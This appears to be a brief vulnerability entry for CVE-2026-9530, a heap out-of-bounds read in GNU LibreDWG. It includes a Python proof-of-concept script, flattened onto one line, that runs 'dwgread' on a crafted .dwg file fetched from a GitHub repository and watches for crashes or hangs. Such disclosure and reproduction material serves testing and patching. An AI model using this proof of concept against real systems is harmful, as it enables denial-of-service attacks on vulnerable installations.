CVE-2026-9530 GNU LibreDWG越界读取漏洞

import subprocess import os # PoC file reference based on the provided GitHub link poc_file_path = "libredwg_6d6a339_heap_oob_write_read_2004_compressed_section.dwg" # Check if PoC file exists (simulated for demonstration) if os.path.exists(poc_file_path): print(f"[*] Testing vulnerability with PoC file: {poc_file_path}") # Assuming 'dwgread' is the utility executable from LibreDWG try: # Execute the vulnerable utility with the malicious file result = subprocess.run(["dwgread", poc_file_path], capture_output=True, text=True, timeout=5) print("[!] Utility executed. Check for crash or abnormal behavior.") print("STDOUT:", result.stdout) print("STDERR:", result.stderr) except subprocess.TimeoutExpired: print("[+] Potential DoS triggered: Utility hung or timed out.") except Exception as e: print(f"[+] Potential Crash detected: {e}") else: print(f"[!] PoC file not found. Please download from: https://github.com/HackC0der/CVE-Repos/blob/main/libredwg/libredwg_6d6a339_heap_oob_write_read_2004_compressed_section.dwg") print("[*] To reproduce: Place the .dwg file locally and run this script against a vulnerable version of LibreDWG (<= 0.14).")